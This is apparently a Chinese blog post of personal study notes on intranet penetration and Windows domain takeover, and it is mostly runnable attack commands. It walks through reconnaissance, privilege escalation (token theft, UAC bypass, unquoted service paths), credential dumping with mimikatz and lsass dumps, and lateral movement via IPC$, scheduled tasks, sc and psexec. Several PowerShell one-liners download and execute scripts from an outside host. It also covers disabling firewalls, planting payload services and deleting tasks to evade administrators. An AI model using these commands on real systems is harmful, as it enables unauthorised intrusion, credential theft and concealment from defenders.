记录一个月来对内网渗透的学习总结,内网渗透提前是我们已经通过各种手段拿到内网中某一台可以通向外网的服务器或主机的权限,然后把此当作跳板,内网渗透的目的是拿到DC域控制器的权限,达到控制整个域环境。
内网渗透测试,其本质就是信息收集。信息收集的深度,直接关系到内网渗透测试的成败。当你拿下内网的一台主机后,面对的是一片未知的区域,所以首先要做的就是对当前所处的网络环境进行判断。包括以下几点:
对当前机器角色的判断
对当前机器所处的网络环境进行判断
对当前机器所处的网络区域进行判断
查看当前用户、权限
whoami
whoami /all // 查看当前域并获取域SID
ipconfig /all // 查询本机IP段,所在域等
route print // 打印路由信息
arp -a // 查看arp缓存,可以发现内网主机
systeminfo
执行以下命令直接查看操作系统及版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" // 中文操作系统
#### 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
wmic product get name,version
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)net user xxx // 查看指定用户详细信息
net session
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
net share
wmic share get name,path,status
tasklist
wmic process
wmic process list brief
wmic process get processid,executablepath,name // 显示进程的路径、名称、pid
wmic service list brief
wmic startuo get command,caption
netstat -ano
net statistics workstation
schtasks /query /fo LIST /v // query显示所有计划任务
netsh firewall show state // 防火墙状态
netsh firewall show config // 查看防火墙配置
netsh firewall set opmode disable // 关闭防火墙(windows server 2003及以前)
netsh advfirewall set allprofiles state off // 关闭防火墙(windows server 2003以后)
#### 修改防火墙配置
netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable // 允许指定程序的全部连接(windows server 2003及以前)
windows server 2003之后:
netsh advfirewall firewall add rule name="pass xx" dir=in action=allow program="C:\xxx\xx.exe" // 允许某个程序连入
netsh advfirewall firewall add rule name="pass xx" dir=out action=allow program="C:\xxx\xx.exe" // 允许某个程序外连
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow // 开启3389端口,允许改端口放行
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
该脚本可以在目标机器上面完成服务。用户列表,用户组、网络接口、硬件信息、网络共享信息、操作系统、安装的补丁、安装的软件、自启程序、时区等信息的查询工作。其利用WMIC来收集信息。执行脚本后,会将所有结果写入一个HTML文件,如下图所示
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KzwUGLor-1652025169788)(C:\Users\jk\AppData\Roaming\Typora\typora-user-images\image-20220503114929179.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ADHQqk58-1652025169789)(C:\Users\jk\AppData\Roaming\Typora\typora-user-images\image-20220503114943518.png)]
systeminfo
net time /domain // 主域服务器会同时作为时间服务器
net group "domain controllers" /domain // 查看域控制器组
nltest /DCLIST:god // 查看域控制器主机名,god为域名
我们已经知道了与控制器的名称,接下来就要定位域控制器的ip地址了。
ping owa.god.org // owa为域控制器名
nltest /domain_trusts 列出域与域之间的信任关系
net group /domain
Domain Admins 域管理员组
Domain Computers 域内的机器
Domain Controllers 域控制器
Domain Users 域用户
Enterprise Admins 企业系统管理员组
net group "Enterprise Admin" /domain
net accounts /domain
net user /domain // 查看域用户
net user xxx /domain // 查看指定域用户详细信息
wmic useraccount get /all
我们在内网渗透中,通过查看域内目标主机的端口开放情况,来了解目标主机上的服务,通过其服务版本还可以找到其开放服务的漏洞。我们可以使用metasploit内置的端口扫描模块,也可以上传端口扫描工具进行扫描。在扫描时注意以下几点:
利用telnet工具进行端口扫描
Telnet是进行远程登录的标准协议和主要方式,它为用户提供了在本地计算机上完成远程主机工作的能力。可以用telnet命令来测试端口号是否正常打开还是关闭状态。使用时需要目标主机在“添加删除程序”里面的“打开或关闭windows功能”里面开启telnet功能,然后你再去CMD的命令行里面输入telnet就没有问题了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Okrm5zuL-1652025169802)(C:\Users\jk\AppData\Roaming\Typora\typora-user-images\image-20220503121314172.png)]
telnet <主机> <端口>
telnet 192.168.52.138 445
PowerSploit 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/PowerShellMafia/PowerSploit
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '445,1433,8080,80,3389'"
// 或者扫描全部的端口:-Ports "1-65535"
Nishang 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/samratashok/nishang
该脚本可用于发现主机、解析主机名、扫描端口。
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port '1-65535'"
// -ResolveHost:解析主机名
Nmap扫描
这个工具就不用说了,在侵入内网后,挂上代理直接对内网主机扫描即可,也是我最常用的一个。详情见我的文章《内网渗透测试:隐藏通讯隧道技术》
Metasploit 端口扫描模块
Metasploit中提供了很多内置的扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
####收集域内端口的banner信息
banner信息表示“欢迎语”,其中会包含一些敏感信息,在banner信息中,可以获取到软件开发商、软件名称、服务类型、版本号等,而版本号信息有时会存在公开的CVE可以利用。获取到版本号后,可以在中查找到对应的CVE编号,并在ExploitDB等平台上面找到相关的利用方式。
使用Nmap获取banner
nmap --script=banner -p <端口/端口范围>
(666口好像是个木马)
使用nc获取banner
nc -nv <端口>
#### 探测内网主机存活
使用Metasploit模块
Metasploit中提供了很多内置的内网存活主机扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/tcpauxiliary/scanner/discovery/arp_sweep // 基于arp的主机发现
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
利用NetBIOS快速扫描内网存活
**Netbios:**网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
nbtscan.exe是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。
下载地址:https://github.com/MrAnonymous-1/nbtscan
将nbtscan.exe上传到目标主机上,然后直接输入ip段即可运行扫描:
nbtscan.exe 192.168.1.0/24
扫描两个网段:
SHARING:该主机存在正在运行的文件和打印共享服务
DC:该机器可能是域控制器
?:没有识别处该机器的NetBIOS资源
利用Ping探测内网主机存活(ICMP)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
基于ARP的主机探测
利用arp-scan.exe工具。
下载地址:https://github.com/MrAnonymous-1/arp-scan
将对应系统版本的arp-scan上传到目标主机上,执行如下命令:
arp-scan.exe -t
Nmap扫描
这个工具就不用说了,在侵入内网后,挂上代理直接对内网主机扫描即可。
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到系统管理员组中。因此,域管理员组的成员均可以访问本地计算机,且具备完全控制权限。
我们在渗透中,常常使用各种工具来获取当前域管理员在线登录的机器,入侵此机器,然后迁移到域管理登陆所在的进程,便拥有了域管理的权限。定位域内管理员的常规方法,一是日志,二是会话。
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名,psloggedon.exe会搜索网上邻居中的所有计算机,并显示该用户是否已经登录。该工具的某些功能需要管理员权限。
psloggedon.exe [-] [-l] [-x] [\\computername或username]
查看登陆过OWA(域控)机器的用户:
查看本地登陆的用户:
指定用户名,在网络中查找指定用户登陆的计算机:
\\computername |
指定要为其列出登录信息的计算机的名称 |
---|---|
username | 指定用户名,在网络中搜索该用户登陆的计算机 |
下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置.NET Framework 2.0 环境,并需要有管理员权限。
PVEFindADUser.exe <参数>
我们一般直接运行pvefinaduser.exe -current
命令,即可显示域中所有计算机上当前登陆的所有用户。
显示域中所有计算机上当前登陆的所有用户:
显示指定用户登陆的计算机:
具体参数:
current[“username”] | 如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\Username),则显示该用户登陆的计算机 |
---|---|
-target | 用于指定要查询的主机。如果未指定此参数,将查询当前与内所有主机 |
---|---|
下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
powerview脚本可以用来获取当前域管理员在线登录的服务器,其依赖powershell和wmi,在powersploit工具包中,是一个收集域信息很好用的脚本。
如下,可以看到本地域有两个域管理员:
我们通过Invoke-UserHunter(等于Invoke-UserHunter -CheckAccess)来定位他们:
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/PowerView.ps1');Invoke-UserHunter
详情请执行Get-Help Invoke-UserHunter
命令查看,具体使用方法与前两个相似,它可以找到域内特定的用户群,接受用户名、用户列表和域组列表查询,接受一个主机列表或查询可用的主机域名。一切都是灵活的,让你自己定义找寻谁,在哪里找。
获取指定用户在线机器:
PowerView是个非常强大、好用的内网渗透脚本,PowerView的其他命令请查看官方文档。
当我们拿到一个shell后,往往都是普通用户权限,普通用户权限低所能操作受太多的限制,所以我们要提权,提权至高权限,方便我们后面的操作。
溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:
systeminfo
或
wmic qfe get caption,description,hotfixid,installedon
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iMMU0n9M-1652025169839)(C:\Users\jk\AppData\Roaming\Typora\typora-user-images\image-20220508183814855.png)]
方法一:Windows Exploit Suggester
下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester
使用:
更新漏洞库:D:\Python27\python.exe windows-exploit-suggester.py --update
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tvgHRggT-1652025169841)(C:\Users\jk\AppData\Roaming\Typora\typora-user-images\image-20220508185106686.png)]
生成系统信息文件:systeminfo > sysinfo.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zjqxtgXh-1652025169842)(C:\Users\jk\AppData\Roaming\Typora\typora-user-images\image-20220508185321709.png)]
两个文件进行比较:>D:\Python27\python.exe windows-exploit-suggester.py -d 2022-05-08-mssb.xls -i sysinfo.txt 不知道怎么搞得前几天都行的,现在说缺了个xlrd库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gTYR7Slp-1652025169843)(C:\Users\jk\AppData\Roaming\Typora\typora-user-images\image-20220508185518423.png)]
方法二:local_exploit_suggester 模块
Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。
使用如下,假设我们已经获得了目标主机的一个session:
use post/multi/recon/local_exploit_suggester
set session 1
exploit
方法三:enum_patches 模块
会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下:
use post/windows/gather/enum_patches
set session 1
exploit
在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。
下载地址:https://github.com/rasta-mouse/Sherlock
该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下:
powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1'); // 远程执行
Import-Module 目录\Sherlock.ps1 本地执行
Find-AllVulns // 调用脚本后,执行搜索命令
漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)
https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/brianwrf/WinSystemHelper
https://github.com/bitsadmin/wesng
https://github.com/lyshark/Windows-exploits
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/klsfct/getshell
例如,我们有一个文件路径为“C:\Program Files\Some Folder\Service.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。
首先,我们可以用以下命令列出目标主机中所有存在空格且没有被引号括起来服务路径:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下.
该提权方法在metasploit中对应的模块为:exploit/windows/local/unquoted_service_path,使用如下:
(在之前的metasploit中为exploit/windows/local/trusted_service_path,但在新版的metasploit中替换替换成了exploit/windows/local/unquoted_service_path)
use exploit/windows/local/unquoted_service_path
set session 1
set AutoRunScript migrate -f
exploit
该漏洞利用有以下两种情况:
1. 利用PowerUp.ps1脚本
下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
该漏洞提权在metasploit上面对应的模块为exploit/windows/local/service_permissions:
如上图,该模块有两个可以设置的选项,其中如果把AGGRESSIVE选项设为“true”,则可以利用目标机器上每一个有该漏洞的服务,设为“false”则在第一次提权成功后就会停止工作。演示如下:
AccessChk工具,其为SysInterals套件里的一个工具,常用于Windows中进行一些系统或程序的高级查询、管理和排除故障等。AccessChk是微软官方的工具,一般不会引起杀软的报警没所以常会被攻击者利用下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而是会采用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员的账号和密码等信息。我们可以对整个系统进行检查,这些安装配置文文件列举如下:
Metasploit中相应的利用模块为exploit/windows/local/always_install_elevated
Metasploit下的相关模块为post/windows/gather/credentials/gpp,该模块可以获取组策略中的密码。
use post/windows/gather/credentials/gpp
set session xxx
exploit
令牌(token)是系统的临时秘钥,相当于账号和密码。
需要我们已经获取了目标主机一个administrator权限的meterpreter,需要提前至system,我们可以用metasploit的incognito模块窃取令牌。
如下,输入use incognito
来先加载incognito模块,然后输入list_tokens -u
命令即可列出可用的访问令牌:
可以看到,这里的Windows访问令牌有两种类型:
Delegation Token:授权令牌,它支持交互式会话登录(例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话(例如使用net use访问共享文件夹)。
**注:**两种token只在系统重启后清除 具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效。
这里,我们可以看到列出了三个授权令牌,我们执行如下命令,就可以伪造NT AUTHORITY\SYSTEM令牌,来模拟SYSTEM用户了:
impersonate_token "NT AUTHORITY\SYSTEM"
1
注意:list_tokens -u
命令列出的令牌取决于你获得的meterpreter的访问级别,这里我们测试的是管理员权限到system权限,如果我们获取的用户不是管理员而是普通用户权限,也有可能列出相应的高权限令牌。
此外,我们还可以利用steal_token
命令从相应的进程中窃取令牌。先执行ps
找到User为SYSTEM或管理员的进程,并记下其进程的PID,然后执行steal_token
:
Metasploit incognito模块的相关命令如下:
getuid # 查看当前令牌(token)
use incognito # 加载incognito模块
list_tokens -u # 列出访问令牌
impersonate_token "NT AUTHORITY\\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
steal_token 1252 # 从进程窃取token
getsystem # 提升至system权限
rev2self # 返回到之前的AccessToken权限
1234567
下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
incognito.exe工具也可以用来进行令牌窃取。
首先在目标主机上上传incognito.exe:
然后进入shell,执行如下命令列举存在的访问令牌:
incognito.exe list_tokens -u
1
然后我们就可以通过执行如下命令窃取令牌来模拟其他用户:
incognito.exe execute -c "完整的Token名称" <要执行的命令>
例如执行whoami命令:
incognito.exe execute -c "完整的Token名称" whoami
例如:模拟SYSTEM权限用户:
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe
12345678
但是这里由于我们是在meterpreter的shell中执行的系统命令,其没有回显(时间好长啊),我们可以直接上传一个msf马和incognito.exe,然后利用窃取的令牌所获得的system权限来执行我们所上传的msf马,从而从新获得一个system权限的meterpreter,如下图,成功获得了一个system权限的meterpreter:
下载地址:https://github.com/foxglovesec/RottenPotato
我们也可以通过Rotten Potato工具快速的窃取用户的访问令牌来模拟用户实现权限提升。
Rotten Potato工具的目录中有一个rottenpotato.exe,在运行该二进制文件后,可以快速模拟令牌。
首先上rottenpotato.exe上传到目标主机中:
然后在meterpreter中分别执行如下命令来模拟出system用户的令牌:
execute -HC -f ./rottenpotato.exe # 执行rottenpotato.exe程序
impersonate_token "NT AUTHORITY\\SYSTEM"
12
下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
Invoke-TokenManipulation.ps1脚本是PowerSploit中Exfiltration文件夹内的一个脚本。
首先执行如下命令列举token:
IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -Enumerate
1
如上图,成功列举出了token。然后执行如下命令窃取system的token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt AUTHORITY\SYSTEM"
1
这里,在成功窃取TrustedInstaller的令牌后会发现自己的权限仍是NT AUTHORITY\SYSTEM,这是因为TrustedInstaller权限也会显示为NT AUTHORITY\SYSTEM,执行下面这个命令:
whoami /groups | findstr TrustedInstaller
1
如果有回显,代表当前是TrustedInstaller权限:
######绕过UAC提权
UAC,即用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
使用 UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,但管理员专门给系统授予管理员级别的访问权限时除外。UAC 会阻止未经授权应用程序的自动安装,防止无意中对系统设置进行更改。
UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
exploit/windows/local/ask # 弹出UAC确认窗口,然后诱使用户点击后获得system权限
exploit/windows/local/bypassuac # 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC的第二个shell。
exploit/windows/local/bypassuac_injection # 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_fodhelper # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10的UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_eventvwr # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_comhijack # 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。
1234567891011
以上模块都是从meterpreter中设置好session执行完后,绕过UAC,获得一个关闭了UAC的第二个shell,再在这个关闭了UAC的第二个shell中执行getsystem
即可完成提权。
即利用Nishang中Escalation目录下的Invoke-PsUACme.ps1脚本。
下载地址:https://github.com/samratashok/nishang
执行如下命令:
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.101.219.210/nishang/Escalation/Invoke-PsUACme.ps1');Invoke-PsUACme -Verbose # 使用sysprep方法并执行默认的payload
Invoke-PsUACme -method oobe -verbose # 使用oobe方法并执行默认的payload
123
如下图,执行完后会弹出一个具有管理员权限的shell:
还可以使用 -Payload
参数自行指定要执行的Payload:
Invoke-PsUACme -method oobe -verbose -Payload "powershell -windowstyle hidden -e YourBase64EncodedPayload"
1
即可在绕过UAC后以高权限执行后面的powershell代码。
还可以使用-PayloadPath
参数自行指定要执行的Payload的路径:
Invoke-PsUACme -method oobe -verbose -PayloadPath <路径>
1
我们可以利用这个来在绕过UAC后以高权限执行后面的msf马,以获得管理员权限的meterpreter。
除了以上那些绕过UAC的方法外,我们还可以利用CVE-2019-1388等漏洞来绕过,该漏洞位于Windows的UAC机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此对UI来说紧限制是必须的。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC会话中含有尽可能少的点击操作选项。利用该漏洞很容易就可以提升权限到SYSTEM
https://github.com/SecWiki/linux-kernel-exploits
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
寻找可利用bin:https://gtfobins.github.io/
cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
Linux环境变量提权 - 先知社区)
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
下载地址:https://www.openwall.com/passwords/windows-pwdump
下载地址:https://github.com/gentilkiwi/mimikatz
privilege::debug // 提升至debug权限
sekurlsa::logonpasswords // 抓取密码
Procdump是微软官方发布的工具,所以杀软不会拦截,其可以用来将目标lsass文件导出。下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
先用在目标机器上传微软的工具Procdump,导出其lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
将在目标机器上导出的lsass.dmp下载到本地后,执行mimikatz导出lsass.dmp里面的密码和hash:
sekurlsa::minidump 目录\lsass.dmp // 将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full // 获取密码
先利用注册表命令将目标机的sam或system文件导出,需要管理员权限:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
然后,将目标机上的sam.hive和system.hive下载到本地,利用mimikatz读取sam和system文件获取NTLM Hash:
lsadump::sam /sam:sam.hive /system:system.hive
也可以直接使用mimikatz读取本地SAM文件,获得密码Hash:
privilege::debug
token::elevate
lsadump::sam
下载地址:https://github.com/quarkslab/quarkspwdump
QuarksPwDump.exe --dump-hash-local // 导出本地hash值
QuarksPwDump.exe -dhl
QuarksPwDump.exe -dhdc // 导出内存中的域控哈希值
QuarksPwDump.exe --dump-hash-domain-cached
net use \\\ipc$ "password" /user:"username"
net use \\192.168.183.130\ipc$ "Liu78963" /user:"administrator"
net use // 查看当前主机所建立的连接
列出DC上C盘的目录:
dir \\192.168.183.130\c$
将文件复制到目标主机DC的C盘上面去:(在实战中,我们可以将木马程序复制到目标主机上去)
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$
建立 ipc$ 连接的条件:
在使用完ipc 连 接 后 , 需 要 删 除 i p c 连接后,需要删除ipc 连接后,需要删除ipc,命令如下:
net use \\IP /del /y
除了IPC链接,我们还可以与目标主机的其他共享建立连接,比如建立c$盘共享连接:
net use \\192.168.183.130\c$ "Liu78963" /user:"administrato
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。
操作如下:
\1. 先与目标主机建立ipc连接。
\2. 再使用net time命令确定目标主机DC的当前时间:
net time \\192.168.183.130
3.然后使用copy命令远程操作,将metasploit生成的payload文件复制到目标系统C盘中:
copy shell.exe \\192.168.183.130\c$
\4. 接着使用at命令创建计划任务,让目标主机DC在指定的时间运行metasploit木马程序(这时我们在攻击机设置好msf监听):
at \\192.168.183.130 18:53:00 c:\shell.exe
\5. 最后,我们使用完计划任务后,还需要将该计划任务删除,以免被网管理员发现:
at \\192.168.183.130 1 /delete
// 1为计划任务的ID
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。
利用schtasks命令创建计划任务进行横向移动的操作流程如下:
\1. 先与目标主机建立ipc连接。
\2. 然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。
\3. 在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。
注意:在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。
使用条件:
SC工具命令集。该工具集主要用来对操作系统服务进行管理。
流程基本如下:
\1. 先让跳板机与内网目标机DC建立ipc连接。
\2. 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。
\3. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
\4. 立即启动该服务:
sc \\WIN-ENS2VR5TR3N start bindshell
执行后,msf成功上线域控:
\5. 使用完后删除刚才创建的服务
sc \\[host] delete [servicename] #删除服务
我们还可以通过设置服务来关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
psexec的使用前提:
基本操作命令如下:
PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -s cmd.exe
exploit/windows/smb/psexec // 用psexec执行系统命令,与psexec.exe相同
exploit/windows/smb/psexec_psh // 使用powershell作为payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/ms17_010_psexec
WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
注意:使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)
用WMIC命令可以开启远程计算机的远程桌面连接:
wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief
如下,以administrator用户连接192.168.183.130(DC),并在机器上创建一个进程执行ipconfig命令,将结果写入C:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"
